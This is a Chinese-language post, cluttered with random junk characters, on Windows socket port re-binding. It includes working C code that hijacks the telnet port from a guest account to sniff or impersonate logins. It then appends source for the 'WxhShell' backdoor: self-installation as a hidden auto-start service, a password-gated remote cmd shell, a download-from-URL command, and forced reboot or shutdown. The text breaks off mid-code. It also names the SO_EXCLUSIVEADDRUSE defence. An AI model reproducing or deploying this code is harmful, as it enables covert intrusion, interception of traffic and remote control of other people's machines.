在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
n?Q|)2 2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
;j7#7MN2_E SKtr tm saddr.sin_family = AF_INET;
y9;Yivr) =vPj%oLp'a saddr.sin_addr.s_addr = htonl(INADDR_ANY);
lk!@? =-T]3! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
fox6)Uot GVz6-T~\> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
FlQGgVN i?/qY&~ 这意味着什么?意味着可以进行如下的攻击:
43w}qY1 lMt=|66 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
O2+ 6st edD)TpmE, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(BM47D=v .d*8C, 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\^LFkp $:6!H:ty 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
k!^{eOM ;|RTx 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
C^){.UGmJ o4;(Zi#Z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g7|@ uNyVf7u 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ni<(K
0~ @ZJS&23E #include
YR70BOxK #include
>_TZ'FT #include
Om<a<q #include
rA1._
DWORD WINAPI ClientThread(LPVOID lpParam);
"7
yD0T)2 int main()
yu|>t4#GT {
TvM~y\s WORD wVersionRequested;
2eogY# DWORD ret;
q)GdD== WSADATA wsaData;
maZ)cW?
BOOL val;
K}y
f>'O SOCKADDR_IN saddr;
xo)P?- SOCKADDR_IN scaddr;
[UR-I0 s!/ int err;
6Zo}(^Ovz SOCKET s;
/1 dT+> SOCKET sc;
^
9sjj int caddsize;
W)/#0*7 HANDLE mt;
5G#n"}T DWORD tid;
("@!>|H wVersionRequested = MAKEWORD( 2, 2 );
}\f0 A- err = WSAStartup( wVersionRequested, &wsaData );
Mt$
*a if ( err != 0 ) {
B?QIN] printf("error!WSAStartup failed!\n");
s.rm7r@# return -1;
b>W%t }
R_KH"`q saddr.sin_family = AF_INET;
V#HuIgf- im8 CmQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
B~mj 8l4 :s,Z<^5a)g saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~u{uZ(~ saddr.sin_port = htons(23);
SM'|+ d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0K+ne0I {
do_[& printf("error!socket failed!\n");
[0of1eCSl return -1;
GdwVtqbX }
@~e5<:|5# val = TRUE;
-=="<0c //SO_REUSEADDR选项就是可以实现端口重绑定的
#E?4E1bnB if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J,hCvm {
mw!F{pw printf("error!setsockopt failed!\n");
'91/md5 return -1;
`uFdwO'DD }
{ax:RUQxy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/z!%d%" //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
oDR%\VY6T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
\bF{-" 7. H|*m$|$, if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
[
3Gf2_ {
7_L;E~\ ret=GetLastError();
a#4?cEy printf("error!bind failed!\n");
bOB\--:] return -1;
}EPY^VIw }
[GR;?R5 listen(s,2);
_w{Qtj~s| while(1)
KXy6Eno {
$`c:& caddsize = sizeof(scaddr);
1x)J[fyId //接受连接请求
sx%[=g+<2( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
D-c4EV if(sc!=INVALID_SOCKET)
PsYpxNr {
9p/Bh$vJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
rsQtMtS2 if(mt==NULL)
Z r8*et {
3mgD(,(^ printf("Thread Creat Failed!\n");
>%G1"d?j break;
7r!x1 }
M7T5
~/4 }
%4H%?4 CloseHandle(mt);
Sf'CN8 }
I0-MRU~[K closesocket(s);
%{|p j
+ WSACleanup();
\<' ?8ri# return 0;
DF= *_,2/ }
CY1Z' DWORD WINAPI ClientThread(LPVOID lpParam)
+R &gqja {
paK2xX8E SOCKET ss = (SOCKET)lpParam;
*T/']t SOCKET sc;
Z~CjA%l unsigned char buf[4096];
+2{Lh7Ks SOCKADDR_IN saddr;
khe}*y long num;
u[YGm:} DWORD val;
gJXaPJA{ DWORD ret;
+rd+0 `}C //如果是隐藏端口应用的话,可以在此处加一些判断
e=
AKD# //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
siI;"? saddr.sin_family = AF_INET;
Upe%rC( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
u_enqC3 saddr.sin_port = htons(23);
b;n[mk
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
J zl6eo[; {
,F|f. 7; printf("error!socket failed!\n");
]DcFySyv return -1;
X8|, }
C _Dn{ val = 100;
;+%rw 2Z,B if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;I}fBZ3
{
$i&zex{\ ret = GetLastError();
uFE)17E return -1;
z_HdISy0 }
3w=J'(RU if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Vksuu@cch {
5+vaE
2v ret = GetLastError();
_/|\aqF. return -1;
}7Uoh(d }
lN@o2QX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
rp$'L7lrX {
kmW4:EA% printf("error!socket connect failed!\n");
Y4-t7UlS; closesocket(sc);
J5qZFD closesocket(ss);
-f .,tM= return -1;
*w&e\i|7 }
;uJMG while(1)
7! Nsm {
It(_v //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#"!<W0 //如果是嗅探内容的话,可以再此处进行内容分析和记录
HN"Z]/5j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
M]^5 s;y num = recv(ss,buf,4096,0);
&
21%zPm if(num>0)
By|4m send(sc,buf,num,0);
.Mbz3;i0 else if(num==0)
?< +WG/(d break;
1Mzmg[L8 num = recv(sc,buf,4096,0);
a(nlTMfu if(num>0)
]Ze1s02( send(ss,buf,num,0);
c{|p.hd else if(num==0)
4s-!7 break;
ye&;(30Oq }
}vuO$j closesocket(ss);
fhiM U8(& closesocket(sc);
jcOcWB| return 0 ;
XS#Qu=,- }
<~)P7~$d?p [y(MCf19 [0!( xp^ ==========================================================
SUiOJ[5, B\~}3!j 下边附上一个代码,,WXhSHELL
4?kcv59 p K*TE5] ==========================================================
7!1S)dup D.:Zx #include "stdafx.h"
6K^#?Bn; ch]IzdD #include <stdio.h>
M`_0C38
#include <string.h>
2y4bwi #include <windows.h>
sJZiI}Xc #include <winsock2.h>
{}9a6.V;}
#include <winsvc.h>
&C}*w2]0S #include <urlmon.h>
1MFbQs^ /ZX}Nc g #pragma comment (lib, "Ws2_32.lib")
X|dlt{Gf
#pragma comment (lib, "urlmon.lib")
4W75T2q# E.h*g8bXe #define MAX_USER 100 // 最大客户端连接数
z{q`G wW #define BUF_SOCK 200 // sock buffer
&=[WIG+rk #define KEY_BUFF 255 // 输入 buffer
0GL M(JmK ".%k6W<n #define REBOOT 0 // 重启
mFeP9MfJ #define SHUTDOWN 1 // 关机
C!gZN9- F|8& #define DEF_PORT 5000 // 监听端口
" bG2: 8ag!K*\V< #define REG_LEN 16 // 注册表键长度
[E_9V%^ #define SVC_LEN 80 // NT服务名长度
lE;!TQj:X bA 2pbjg= // 从dll定义API
@ Qe0! (_= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Z+SRXKQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\U0Q<ot/7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
S:}7q2: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+T ?NH9 'u658Tj // wxhshell配置信息
Om&Dw|xG8 struct WSCFG {
/Oono6j int ws_port; // 监听端口
Ri'n char ws_passstr[REG_LEN]; // 口令
]~-r}`] int ws_autoins; // 安装标记, 1=yes 0=no
@EAbF>> char ws_regname[REG_LEN]; // 注册表键名
P>T"cv char ws_svcname[REG_LEN]; // 服务名
NK+o1 char ws_svcdisp[SVC_LEN]; // 服务显示名
%O<BfIZ char ws_svcdesc[SVC_LEN]; // 服务描述信息
xno\s.H%] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,4rPg]r@ int ws_downexe; // 下载执行标记, 1=yes 0=no
zs;JJk^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~[: 2I char ws_filenam[SVC_LEN]; // 下载后保存的文件名
s2?&! [aS*%Heu };
5;?yCWc $]1=\I // default Wxhshell configuration
9Flb|G% struct WSCFG wscfg={DEF_PORT,
)jj0^f1!j "xuhuanlingzhe",
^.tg 7%dJ 1,
B!yr!DWv "Wxhshell",
e!`i3KYn" "Wxhshell",
3$w65= "WxhShell Service",
0YzpZW"+ "Wrsky Windows CmdShell Service",
E]6
6]+;0_ "Please Input Your Password: ",
l%ZhA=TKQ 1,
mmsPLv6 "
http://www.wrsky.com/wxhshell.exe",
e)ZUO_Q$ "Wxhshell.exe"
4 :=]<sc, };
,Q,^3*HX9}
OSJ$d // 消息定义模块
A
>$I
-T+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
'S~5"6r char *msg_ws_prompt="\n\r? for help\n\r#>";
(t.Nk[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
JRFtsio* char *msg_ws_ext="\n\rExit.";
4YHY7J char *msg_ws_end="\n\rQuit.";
H"KCK6 char *msg_ws_boot="\n\rReboot...";
+#By*;BJ char *msg_ws_poff="\n\rShutdown...";
eQ"E char *msg_ws_down="\n\rSave to ";
_U0f=m t
Pf40`@ char *msg_ws_err="\n\rErr!";
r/sNrB1U"y char *msg_ws_ok="\n\rOK!";
X.V~SeS $N\Ja*g char ExeFile[MAX_PATH];
G
j1_!.T int nUser = 0;
j9,P/K$:w HANDLE handles[MAX_USER];
xpI wrJO int OsIsNt;
b\ PgVBf9 )i<j XZ:O SERVICE_STATUS serviceStatus;
IAEAhqp SERVICE_STATUS_HANDLE hServiceStatusHandle;
Ug`djIL ^&)|sP // 函数声明
b2]Kx&! int Install(void);
jIF
|P- int Uninstall(void);
Bf:Q2slqI int DownloadFile(char *sURL, SOCKET wsh);
B:QHwzd int Boot(int flag);
XM}hUJJW void HideProc(void);
Q^I\cAIB int GetOsVer(void);
to\Ni~a& int Wxhshell(SOCKET wsl);
CJ%I51F`X void TalkWithClient(void *cs);
9akH int CmdShell(SOCKET sock);
x :7IIvP int StartFromService(void);
{^'HL int StartWxhshell(LPSTR lpCmdLine);
4~=l}H>& 0ksa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
?}7p"3j'z VOID WINAPI NTServiceHandler( DWORD fdwControl );
-F92 -jBM4 66 Tpi![ // 数据结构和表定义
T Ge_G_'o SERVICE_TABLE_ENTRY DispatchTable[] =
gJhiGYx {
f X)#=c|5 {wscfg.ws_svcname, NTServiceMain},
Gy)@Is9 {NULL, NULL}
'2O\_Uz };
{PmZ9 aoTP[Bp // 自我安装
f-2c0Bi int Install(void)
tjnIN?YT {
80;(Gt@<" char svExeFile[MAX_PATH];
8V(pugJ HKEY key;
PVOv[% strcpy(svExeFile,ExeFile);
Vg23!E - YV>j // 如果是win9x系统,修改注册表设为自启动
.mAjfP* if(!OsIsNt) {
G\?YK.Y> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"]iB6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B?qjkP RegCloseKey(key);
z] Ue|%K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E"@wek.- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
tl].r|yl RegCloseKey(key);
fX+O[j return 0;
2m[<]$ }
0RK!/:' }
|I|fMF2K }
f9;(C4+ else {
gO^gxJ'0t _[y/Y\{I // 如果是NT以上系统,安装为系统服务
"vslZ`RU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7yba04D) if (schSCManager!=0)
9E tz[`| {
X$pJ
:M{F$ SC_HANDLE schService = CreateService
V_:&S2j (
x=jK:3BF schSCManager,
&w~d_</ wscfg.ws_svcname,
L^Fy#p wscfg.ws_svcdisp,
]cN1c} SERVICE_ALL_ACCESS,
5^KWCS7@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
hG:|9Sol, SERVICE_AUTO_START,
3{h_&Gbo'D SERVICE_ERROR_NORMAL,
.}`Ix'. svExeFile,
2"S}bfrX NULL,
-R6)ROGl NULL,
6i*sm.SDw NULL,
-)/$M(Pu" NULL,
XS BA$y NULL
?NP1y9Y]i );
TBrPf-Xr if (schService!=0)
*cnNuT {
vA.MRu# CloseServiceHandle(schService);
0{[,E. CloseServiceHandle(schSCManager);
4 N7^? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_\HQvH strcat(svExeFile,wscfg.ws_svcname);
'XBFv9& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3<zp RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*
+wW(#[ RegCloseKey(key);
a -moI+y return 0;
2,P^n4~A?w }
L z1ME( }
SC])?h-Fw CloseServiceHandle(schSCManager);
O<;3M'y\ }
H]jhAf<h }
vFK<J Sk! j9OG\m return 1;
d&s9t;@= }
7(
2{'r Y7[jqb1D // 自我卸载
bD8Gwi=iiu int Uninstall(void)
P_#bow {
4X(H; HKEY key;
CC^'@~)? |qZ1| if(!OsIsNt) {
AZ}Xj>= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~<OSYb RegDeleteValue(key,wscfg.ws_regname);
*U\`CXn; RegCloseKey(key);
XNu^`Ha if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
D+7Rz_= RegDeleteValue(key,wscfg.ws_regname);
W1FI mlXS RegCloseKey(key);
=+?7''{> return 0;
Oh\<VvZuN }
^Zy%fv, }
Y]u+\y~ }
VEw" else {
%\Mo-Ow!\ gy9U2Wgf| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v+=BCyT if (schSCManager!=0)
f[^Aw(o {
'W,jMju SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c>~*/%+ if (schService!=0)
R=
o2K {
j;iAD:nf if(DeleteService(schService)!=0) {
@Sbe^x CloseServiceHandle(schService);
P &e\)Z| CloseServiceHandle(schSCManager);
tWa)_y return 0;
ce3YCflt }
>:!X.TG$ CloseServiceHandle(schService);
pWsDzb6?% }
#!KE\OI;@5 CloseServiceHandle(schSCManager);
t9:0TBt-[ }
*zL}&RUKM }
i`$*Ty"x o/Q;f@ return 1;
'>ssqBnI }
o;R2p $
|CZ@te)> // 从指定url下载文件
H_X [t* 2 int DownloadFile(char *sURL, SOCKET wsh)
Fv<F}h? 6 {
6WJ)by HRESULT hr;
u=7J/!H7^ char seps[]= "/";
7.#F,Ue_0T char *token;
R1GEh&U{ char *file;
\\dMy9M- char myURL[MAX_PATH];
| Aw%zw1@ char myFILE[MAX_PATH];
Qq;Foa
%H&@^Tt a strcpy(myURL,sURL);
m~d]a$KQ5- token=strtok(myURL,seps);
~`\?"s: while(token!=NULL)
0dhaAq`k {
usCt#eZK file=token;
aV|hCN~ token=strtok(NULL,seps);
LS*y }
g^{@'}$ m(#LhlX GetCurrentDirectory(MAX_PATH,myFILE);
|O9O )o strcat(myFILE, "\\");
q$tUH)0 strcat(myFILE, file);
9"A`sGZ send(wsh,myFILE,strlen(myFILE),0);
=~H<Z LE+ send(wsh,"...",3,0);
kep/+J-u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
OAkZKG| if(hr==S_OK)
8UyMVY return 0;
+M$Q
=6/ else
k!HK 97qA return 1;
% <*g!y ` a$" Hvrj }
]?
g@jRs _EMwm&! // 系统电源模块
iS Gq!D int Boot(int flag)
<_tT<5'[$u {
A?%H=>v$ HANDLE hToken;
5$&%re!{Z TOKEN_PRIVILEGES tkp;
!0@Yplj 87P>IO if(OsIsNt) {
Q[pV!CH OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
WDPb!-VT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
O_DtvjI' tkp.PrivilegeCount = 1;
ie\"$i.98H tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9qz6]-K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
I@%t.%O Jp if(flag==REBOOT) {
GlT7b/JCG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~ZhraSI)G return 0;
r1LViK }
$lIz{ySJv else {
DRgTe&+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
CS-uNG6 return 0;
@$c\dvO }
<$~mE9a6 }
#Av.iAs else {
&8_gRP if(flag==REBOOT) {
SNE#0L'} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
ur@Z|5 return 0;
oMTf"0EIW }
`~;rblo; else {
BT"42#7_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;R?I4}O#R8 return 0;
tAte)/0C }
@u%_1 }
q**G(}K D]~MC return 1;
_DNHc* }
j;3[KLmuK% o1Q7Th // win9x进程隐藏模块
#x3ujJ void HideProc(void)
FE!lok {
sHl>$Qevz 3?Pn6J{O HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
'07P&g- if ( hKernel != NULL )
WT`4s {
ixQJ[fH10 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
XWs"jt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:2-pjkhiwY FreeLibrary(hKernel);
R&';Oro }
qfz 8jY] xD[Gq% return;
/iV}HV0 }
<xC#@OZ z;wELz1L{ // 获取操作系统版本
e=;AfK int GetOsVer(void)
Y +\% {
yK2^Y]Ku? OSVERSIONINFO winfo;
'@CR\5 @ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
OP|8S k6
r GetVersionEx(&winfo);
e-*.Ca if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
^=SD9V return 1;
5-0{+R5v else
jSuL5|Gui return 0;
e|D;OM }
mL`5 uf Eb>78k(3I) // 客户端句柄模块
(S`2[.j int Wxhshell(SOCKET wsl)
mzc
4/<th {
`o?Ph&p} SOCKET wsh;
r~n sN*t struct sockaddr_in client;
VZ](uF BY DWORD myID;
1`9xIm*9w !i%"7tQ3$ while(nUser<MAX_USER)
UaV iI/ks {
e^Ky<*Y int nSize=sizeof(client);
z)=+ F] wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
XNb ZNaAd if(wsh==INVALID_SOCKET) return 1;
F.=Bnw/- GSQ/NYK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u% n*gcY if(handles[nUser]==0)
b-*3 2Y% closesocket(wsh);
^ Dt#$Z else
`TPOCxM Mo nUser++;
u=/CRjot }
<K4,7J$}h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`VL}.h zf>5,k'x'A return 0;
FwZ>{~?3 }
~/ilx#d v[n7" // 关闭 socket
D.6,VY H void CloseIt(SOCKET wsh)
-+em!g' {
'EfR|7m closesocket(wsh);
LW:LFzp nUser--;
`\6?WXk3T ExitThread(0);
rJInj>|{= }
eBO@7F$ z>06hBv(?Y // 客户端请求句柄
U"4?9.
k void TalkWithClient(void *cs)
!'*csg {
~|AwN [ r]Ff{la5 SOCKET wsh=(SOCKET)cs;
@hImk`&[N char pwd[SVC_LEN];
KyO8A2'U char cmd[KEY_BUFF];
$VQtwuYt char chr[1];
=FT98H2*| int i,j;
z]bwnJfd {gaai while (nUser < MAX_USER) {
?[MsQQd~ tDCw- if(wscfg.ws_passstr) {
`[YngYw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}O4se"xK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$eBX //ZeroMemory(pwd,KEY_BUFF);
`O8b1-1q~ i=0;
eVcANP while(i<SVC_LEN) {
AisN@ [J0v&{)? // 设置超时
N8`4veVBx' fd_set FdRead;
DF{Qw@P! struct timeval TimeOut;
6 Ik,zQL FD_ZERO(&FdRead);
x/:4{ FD_SET(wsh,&FdRead);
:ECi+DxBK TimeOut.tv_sec=8;
M8b4NF_& TimeOut.tv_usec=0;
@v*/R%rv t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5Fm=/o1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
|uH%6&\ m3g2b _; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`ZaT}#Y pwd
=chr[0]; M#@aB"@J>
if(chr[0]==0xd || chr[0]==0xa) { 35*\_9/#
pwd=0; LN_OD5gZ
break; WWZ9._
} 2qO3XI
i++; {3Vk p5%l
} U\?g*
g3%t8O/M
// 如果是非法用户,关闭 socket ro[Y-o5Q0
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fequm+
} zK+52jhi
OW(&s,|6x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <[/%{sUNC
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ozr9>b>M
2`=6 %s
while(1) { :;!\vfZbU
'iLH `WE
ZeroMemory(cmd,KEY_BUFF); {hO`6mr&t
H2-28XGc
// 自动支持客户端 telnet标准 te4= S
j=0; VRW]a
while(j<KEY_BUFF) { AP\ofLmq
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v1.q$ f^(
cmd[j]=chr[0]; Us~ X9n_F
if(chr[0]==0xa || chr[0]==0xd) { =BZ?- mIU
cmd[j]=0; (HN4g;{
break; k,Zm GllQ]
} p'{xoV
j++; })IO#,
} W:QwHZ2O
C+MSVc
// 下载文件 XDD<oo
if(strstr(cmd,"http://")) { /MOnNnV
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gr(|Ra.
if(DownloadFile(cmd,wsh)) 3|Y!2b(:?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~tGCLf]c\
else lg1PE7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4$oudn
} WO,xMfK
else {
c~dM`2J,
<V_7|)'/A
switch(cmd[0]) { >AI<60/<
*N/hc
// 帮助 Z# Lx_*p]Q
case '?': { 8Xm@r#Oy5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u=qPzmywt
break; H "+c)FGi
} R.1Xst &i
// 安装 M}.b"
ljZ
case 'i': { 1=Ilej1
if(Install()) f8:$G.}i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p`+VrcCBOd
else /4joC9\AB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V_L[P9
break; C 7nKk/r
} '0+$ m=
// 卸载 \-.
Tg!Q6
case 'r': { J^I7BsZ
if(Uninstall()) -rDz~M+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ds5NAp:x
else ^@}#me@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Eqphd!\#6
break; GH3#E*t+[
} ZcZ;$*
// 显示 wxhshell 所在路径 j.QHkI1.
case 'p': { z*.v_Mx
char svExeFile[MAX_PATH]; "jZm0U$,*
strcpy(svExeFile,"\n\r"); Qm);6X
strcat(svExeFile,ExeFile); C;sgK
send(wsh,svExeFile,strlen(svExeFile),0); =%h~/,
break; nN ~GP"}
} [a8+(
// 重启 }#aKFcvg
case 'b': { >x'bZ]gm
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =[(1my7
if(Boot(REBOOT)) mTEVFm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =&0U`P$`
else { o1YU_k<#
closesocket(wsh); i;lE5
ExitThread(0); &jJckT
} =FBIrw{w
break; 6f}e+ 80
} |R'i:=
// 关机 ]M4NpUM
case 'd': { ~Ob8i 1S>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :k1$g+(lP
if(Boot(SHUTDOWN)) Z! YpklZ?~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4
10:%WGc
else { v"k4ATWP
closesocket(wsh); AA7#c7
ExitThread(0); aii'}c
} HP$K.a7H
break; MCAXt1sL&E
} >}F? <JB
// 获取shell L<@&nx
case 's': { $'$>UFR
CmdShell(wsh); R|t;p!T
closesocket(wsh); # ,P(isEZ"
ExitThread(0); Gj`f--2GE
break; fSV5
} n|]N7 b'
// 退出 h[l{ 5Z*
case 'x': { U,3d) ]Zy&
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .S|-4}G(6
CloseIt(wsh); 3LrsWAz'
break; j_pw^I$C
} &HxT41pku
// 离开 WLy7'3@
case 'q': { B,0+HoP
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .cw=*<zeg
closesocket(wsh); Y\u_+CG*
WSACleanup(); ` Xqy
exit(1); @}G|R\2P
break; B*Cb6'Q
} 4sd-zl$Of
} U$$3'n
} 8DT@h8tA
?zE<
// 提示信息 4[H,3}p9H
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4JK@<GBK6
} 36i_D6
} U$EM.ot
./)j5M
return; a^*B5G1(&
} T]X{@_
|QqWVelc
// shell模块句柄 \#_@qHAG
int CmdShell(SOCKET sock) Deog4Ol"/
{ K*[0dza$
STARTUPINFO si; {"\q(R0
ZeroMemory(&si,sizeof(si)); [Z% l.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i/M+t~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }9FD/
PROCESS_INFORMATION ProcessInfo; z.A4x#>-
char cmdline[]="cmd"; Z
c<]^QR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Bx%=EN5.
return 0; TwwIt5_fN
} XNK
43fkB.
wz)m{:b<
// 自身启动模式 Q{`@
G"'
int StartFromService(void) Xv]*;Bq:SK
{ }P16Xb)p
typedef struct 3lyQn"
{ r8<JX5zyuo
DWORD ExitStatus; Vzk cZK
DWORD PebBaseAddress; 7!mJhgGc
DWORD AffinityMask; @<VG8{
DWORD BasePriority; `2sdZ/fO
ULONG UniqueProcessId; *(>Jd|C
ULONG InheritedFromUniqueProcessId; |@OJ~5H/{
